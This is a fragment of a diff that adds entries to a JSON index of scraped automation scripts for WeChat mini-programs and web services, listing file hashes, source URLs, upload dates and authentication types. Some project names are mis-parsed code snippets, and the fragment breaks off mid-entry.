"project": "鸡汤", + "filename": "2025-08-25_jitang_eb7e749e.js", + "sha256": "eb7e749e67c8b68e613f0afe7bb5b1ebe0bf93161c69226bb13cd4b7b736f6ab", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/jitang.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/jitang.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/jitang.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/鸡汤/2025-08-25_jitang_eb7e749e.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "微信小程序/抓包版", + "project": "'remind',_note_'日期提醒工具',},", + "filename": "2025-08-25_UPDATE_891e820a.js", + "sha256": "891e820ae0a3f9c63d3f0a87b92ed14ec831b0088c9e63b2a4eb16e40d12d287", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/UPDATE.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/UPDATE.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/UPDATE.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/微信小程序/抓包版/'remind',_note_'日期提醒工具',},/2025-08-25_UPDATE_891e820a.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "Babycare", + "filename": "2025-06-28_Babycare_4a2e1c44.py", + "sha256": "4a2e1c449fcddaa87cd53358847de65c3839d1ffb325484844f5db88e04e1971", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "Babycare.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/Babycare.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/Babycare.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/Babycare/2025-06-28_Babycare_4a2e1c44.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "CHERWIN_TOOLS", + "filename": "2025-06-28_CHERWIN_TOOLS_9a1e1439.py", + "sha256": "9a1e14399666b2b55948eb1b7bcdd1a38f233c87b61f7e7d0c592bb67b0d42e3", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "CHERWIN_TOOLS.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/CHERWIN_TOOLS.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/CHERWIN_TOOLS.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/CHERWIN_TOOLS/2025-06-28_CHERWIN_TOOLS_9a1e1439.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "DQ点单", + "filename": "2025-06-28_DQ点单_53161101.js", + "sha256": "5316110176df2c840df02f273bac74a7a52b8016fad19a4ec41d6a654fe2ec99", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "DQ点单.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/DQ%E7%82%B9%E5%8D%95.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/DQ%E7%82%B9%E5%8D%95.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/DQ点单/2025-06-28_DQ点单_53161101.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "KSOEUR", + "filename": "2025-06-28_KSOEUR_dff489d3.py", + "sha256": "dff489d354c1462787fdedee1bd44f007984f36251621852b94afdd500410ad0", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "KSOEUR.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/KSOEUR.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/KSOEUR.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/KSOEUR/2025-06-28_KSOEUR_dff489d3.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "T3打车", @@ -1279,6 +3919,22 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "babycare", + "filename": "2026-05-14_babycare_46258113.js", + "sha256": "46258113afa13a0aa29d97ac2d6ba2b28ef58e8ff67ab1d7580a670ef603d5ba", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/babycare.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/babycare.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/babycare.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/babycare/2026-05-14_babycare_46258113.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "cloud189", @@ -1295,6 +3951,54 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "colorful七彩虹", + "filename": "2026-05-14_colorful_cf4ee821.js", + "sha256": "cf4ee821d1cebbbb8468b4a7c252b98a5e1b39d9a10f6089bdd659994878055c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/colorful.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/colorful.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/colorful.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/colorful七彩虹/2026-05-14_colorful_cf4ee821.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "golo汽修大师", + "filename": "2025-08-25_golo_6d8c719f.js", + "sha256": "6d8c719f794ba28ac9f4e910cbcb6a4ad51d2898b88417781747992f35518128", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/golo.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/golo.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/golo.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/微信小程序/抓包版/golo汽修大师/2025-08-25_golo_6d8c719f.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "iqoo社区", + "filename": "2026-05-14_iqoo_43b07ea6.js", + "sha256": "43b07ea6d2f3f5b0a428cb2e5a0fce75e64589151300405fe4d9e6627a107548", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/iqoo.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/iqoo.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/iqoo.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/iqoo社区/2026-05-14_iqoo_43b07ea6.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "jtc", @@ -1311,6 +4015,150 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "quanmianshidai", + "filename": "2026-05-14_quanmianshidai_56f3c63c.py", + "sha256": "56f3c63c9d017a36fce2f78f3b461dcf8fb453537a300b8da039ff71d568c9a1", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/quanmianshidai.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/quanmianshidai.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/quanmianshidai.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/quanmianshidai/2026-05-14_quanmianshidai_56f3c63c.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "self.gift_list.appendgift_name", + "filename": "2025-06-28_爱奇艺_857e9674.py", + "sha256": "857e96745c59151247fd475ff5a59f974c26d8d4fdac7db5e0938d1241378509", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "爱奇艺.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B1%E5%A5%87%E8%89%BA.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B1%E5%A5%87%E8%89%BA.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/self.gift_list.appendgift_name/2025-06-28_爱奇艺_857e9674.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "steam游戏在线人数", + "filename": "2025-08-25_streamrank_34d2cdec.js", + "sha256": "34d2cdec035cfcd5362b92be3983a08342f218868048f203a58ed85522258e12", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/streamrank.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/streamrank.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/streamrank.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/微信小程序/抓包版/steam游戏在线人数/2025-08-25_streamrank_34d2cdec.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "stokke小程序", + "filename": "2026-05-14_stokke_1e4d7ea7.js", + "sha256": "1e4d7ea79b5853ad7ec5db7de29a5a427f36451ddc33e75cb713e2cefda272ad", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/stokke.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/stokke.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/stokke.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/stokke小程序/2026-05-14_stokke_1e4d7ea7.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "str,_actparam_str_-_dict", + "filename": "2026-04-01_tianyi_b953df84.py", + "sha256": "b953df84d60d64163160620c6cddf66ccca375f3794ca42dff66c46d48401660", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "tianyi.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/tianyi.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/tianyi.py", + "uploaded_at": "2026-04-01T11:27:33Z", + "saved_path": "脚本库/微信小程序/抓包版/str,_actparam_str_-_dict/2026-04-01_tianyi_b953df84.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "this官方商城", + "filename": "2025-06-28_this官方商城_7916a729.js", + "sha256": "7916a72936d4a9aacda86d9ab03280f95d2d9d04e8e84383fb0829be122e04cd", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "this官方商城.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/this%E5%AE%98%E6%96%B9%E5%95%86%E5%9F%8E.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/this%E5%AE%98%E6%96%B9%E5%95%86%E5%9F%8E.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/this官方商城/2025-06-28_this官方商城_7916a729.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "topspace", + "filename": "2025-06-28_topspace小程序_0c2cf24e.py", + "sha256": "0c2cf24eeedde16a73bd6ff8f3dd0b86507004dcbd7def57502e5f3d8b644612", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "topspace小程序.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/topspace%E5%B0%8F%E7%A8%8B%E5%BA%8F.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/topspace%E5%B0%8F%E7%A8%8B%E5%BA%8F.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/topspace/2025-06-28_topspace小程序_0c2cf24e.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "vx爷爷不泡茶", + "filename": "2025-06-28_爷爷不泡茶_2e5d48ac.js", + "sha256": "2e5d48ac7842d46057beda28f0f2400ae9722581a1bc925657b2a8b8746c99d1", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "爷爷不泡茶.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B7%E7%88%B7%E4%B8%8D%E6%B3%A1%E8%8C%B6.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B7%E7%88%B7%E4%B8%8D%E6%B3%A1%E8%8C%B6.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/vx爷爷不泡茶/2025-06-28_爷爷不泡茶_2e5d48ac.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "vx麦斯威尔福利社", + "filename": "2025-06-28_vx麦斯威尔福利社_2d125158.js", + "sha256": "2d125158015bb15705f795625ddd527706762d790cb366f1d33096f492605f71", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "vx麦斯威尔福利社.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/vx%E9%BA%A6%E6%96%AF%E5%A8%81%E5%B0%94%E7%A6%8F%E5%88%A9%E7%A4%BE.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/vx%E9%BA%A6%E6%96%AF%E5%A8%81%E5%B0%94%E7%A6%8F%E5%88%A9%E7%A4%BE.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/vx麦斯威尔福利社/2025-06-28_vx麦斯威尔福利社_2d125158.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, { "category": "微信小程序/抓包版", "project": "wb", @@ -1327,6 +4175,582 @@ "platform_type": "微信小程序", "evidence": "appid/openid/session_key/encryptedData等小程序字段" }, + { + "category": "微信小程序/抓包版", + "project": "wcs", + "filename": "2026-05-14_wcs_d9b348ca.js", + "sha256": "d9b348cac05cc8da8c9155c9b46a421f1ba392f2982930f6f89d7636709ee6d5", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/wcs.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wcs.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wcs.js", + "uploaded_at": "2026-05-14T07:10:35Z", + "saved_path": "脚本库/微信小程序/抓包版/wcs/2026-05-14_wcs_d9b348ca.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "zhanma", + "filename": "2026-05-14_zhanma_b8ab91bd.js", + "sha256": "b8ab91bdb567de645e0640663f742f0ec637dd7e96a4b81a517f1f210b566761", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/zhanma.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/zhanma.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/zhanma.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/zhanma/2026-05-14_zhanma_b8ab91bd.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "七彩虹商城", + "filename": "2025-06-28_七彩虹商城小程序_761e10f7.js", + "sha256": "761e10f77b7a58ee38634d789e6bdbd7af6caa8e9c4643480d40aa2ca436a85b", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "七彩虹商城小程序.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%83%E5%BD%A9%E8%99%B9%E5%95%86%E5%9F%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%83%E5%BD%A9%E8%99%B9%E5%95%86%E5%9F%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/七彩虹商城/2025-06-28_七彩虹商城小程序_761e10f7.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "七点五饮用天然矿泉水", + "filename": "2025-06-28_七点五饮用天然矿泉水_d6fe4967.py", + "sha256": "d6fe496720c54bd714a265dd36c0db3b70649d76a897a147a438523118d014fc", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "七点五饮用天然矿泉水.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%83%E7%82%B9%E4%BA%94%E9%A5%AE%E7%94%A8%E5%A4%A9%E7%84%B6%E7%9F%BF%E6%B3%89%E6%B0%B4.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%83%E7%82%B9%E4%BA%94%E9%A5%AE%E7%94%A8%E5%A4%A9%E7%84%B6%E7%9F%BF%E6%B3%89%E6%B0%B4.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/七点五饮用天然矿泉水/2025-06-28_七点五饮用天然矿泉水_d6fe4967.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "中国联通", + "filename": "2026-05-14_chinaUnicom_286fe16d.py", + "sha256": "286fe16df14547f1b6a2c3270231fef18ad5b57df127df8f0a76abb0efcb44e1", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/chinaUnicom.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/chinaUnicom.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/chinaUnicom.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/中国联通/2026-05-14_chinaUnicom_286fe16d.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "产地严选小程序", + "filename": "2025-06-28_产地严选小程序_f81d5d95.py", + "sha256": "f81d5d959073dedc5f43a7d1259f4c5da22afbe0d6295f367a72e41c779a59b6", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "产地严选小程序.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%BA%A7%E5%9C%B0%E4%B8%A5%E9%80%89%E5%B0%8F%E7%A8%8B%E5%BA%8F.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%BA%A7%E5%9C%B0%E4%B8%A5%E9%80%89%E5%B0%8F%E7%A8%8B%E5%BA%8F.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/产地严选小程序/2025-06-28_产地严选小程序_f81d5d95.py", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "全棉时代", + "filename": "2025-06-28_全棉时代_78833e2a.js", + "sha256": "78833e2a1ea602df34a3a8b99a3962eb2e64253bcc8b9f455461d25bef894e29", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "全棉时代.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%85%A8%E6%A3%89%E6%97%B6%E4%BB%A3.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%85%A8%E6%A3%89%E6%97%B6%E4%BB%A3.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/全棉时代/2025-06-28_全棉时代_78833e2a.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "兴攀农场", + "filename": "2025-08-25_xpnc_5f222c85.js", + "sha256": "5f222c850c676d4dcacef68789330db2b8e79dbc011d2bad6385aa5864814e0b", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/xpnc.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/xpnc.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/xpnc.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/微信小程序/抓包版/兴攀农场/2025-08-25_xpnc_5f222c85.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "华住会", + "filename": "2025-08-25_ql_hzh_0b396713.js", + "sha256": "0b396713e2a1cb3519bc93943a268f750d7fa4145f3ed26feafefbab7639cfd3", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_hzh.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_hzh.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_hzh.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/微信小程序/抓包版/华住会/2025-08-25_ql_hzh_0b396713.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "华硕商城APP", + "filename": "2025-06-28_华硕商城每日抽奖_5317a9e9.js", + "sha256": "5317a9e967ef13e67c90236beb71a3118e20d5d9d4c4fbbb90a03ef9c43eb9b0", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "华硕商城每日抽奖.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%8D%8E%E7%A1%95%E5%95%86%E5%9F%8E%E6%AF%8F%E6%97%A5%E6%8A%BD%E5%A5%96.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%8D%8E%E7%A1%95%E5%95%86%E5%9F%8E%E6%AF%8F%E6%97%A5%E6%8A%BD%E5%A5%96.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/华硕商城APP/2025-06-28_华硕商城每日抽奖_5317a9e9.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "卡士会员", + "filename": "2025-06-28_卡士会员_12456cea.js", + "sha256": "12456cea70a10056a5a4cb92e709b3be05e67040aee64bb6cb28fa6ad1cd8ae5", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "卡士会员.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%8D%A1%E5%A3%AB%E4%BC%9A%E5%91%98.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%8D%A1%E5%A3%AB%E4%BC%9A%E5%91%98.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/卡士会员/2025-06-28_卡士会员_12456cea.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "卡池权益会员店", + "filename": "2025-06-28_卡池_7ffef781.js", + "sha256": "7ffef7815aada424678a6cc559ac4d9318ca57065da1994daef5ca0f114d7c1d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "卡池.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%8D%A1%E6%B1%A0.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%8D%A1%E6%B1%A0.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/卡池权益会员店/2025-06-28_卡池_7ffef781.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "古井贡酒会员中心小程序", + "filename": "2025-06-28_古井贡酒_aab5faf3.js", + "sha256": "aab5faf38a6294571100a8a47ad85267bd866dab298cf20c05ed11350fb3f7cc", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "古井贡酒.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%8F%A4%E4%BA%95%E8%B4%A1%E9%85%92.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%8F%A4%E4%BA%95%E8%B4%A1%E9%85%92.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/微信小程序/抓包版/古井贡酒会员中心小程序/2025-06-28_古井贡酒_aab5faf3.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "叮当快药", + "filename": "2026-04-08_ddsy_fe6024e5.js", + "sha256": "fe6024e5df3346dc299105afad55186525603469161422bd75b8172e97cde086", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/ddsy.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/ddsy.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/ddsy.js", + "uploaded_at": "2026-04-08T12:07:12Z", + "saved_path": "脚本库/微信小程序/抓包版/叮当快药/2026-04-08_ddsy_fe6024e5.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "可口可乐小程序", + "filename": "2026-05-14_kekoukele_a6adebfb.js", + "sha256": "a6adebfbf1d5fd5ca3a0211939913a9473d53d96cf256c371711c17bdcc3c319", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/kekoukele.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/kekoukele.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/kekoukele.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/微信小程序/抓包版/可口可乐小程序/2026-05-14_kekoukele_a6adebfb.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "吉利银河", + "filename": "2026-04-01_jlyh_374b7879.js", + "sha256": "374b7879e8b8e4f6d3ebc15a5585c52c1fedf363edb271c3e6f1d67d3ae1d84b", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "jlyh.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/jlyh.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/jlyh.js", + "uploaded_at": "2026-04-01T11:27:33Z", + "saved_path": "脚本库/微信小程序/抓包版/吉利银河/2026-04-01_jlyh_374b7879.js", + "auth_type": "抓包版", + "platform_type": "微信小程序", + "evidence": "appid/openid/session_key/encryptedData等小程序字段" + }, + { + "category": "微信小程序/抓包版", + "project": "国乐酱酒", + "filename": "2026-04-08_gyjj_89d63434.js", + "sha256": "89d6343472de9993efc290b2dd448a0da6d327c2ea31e53fb6dc8b451f1a5e9c", + "source_platform": "GitHub", + "source_repo": 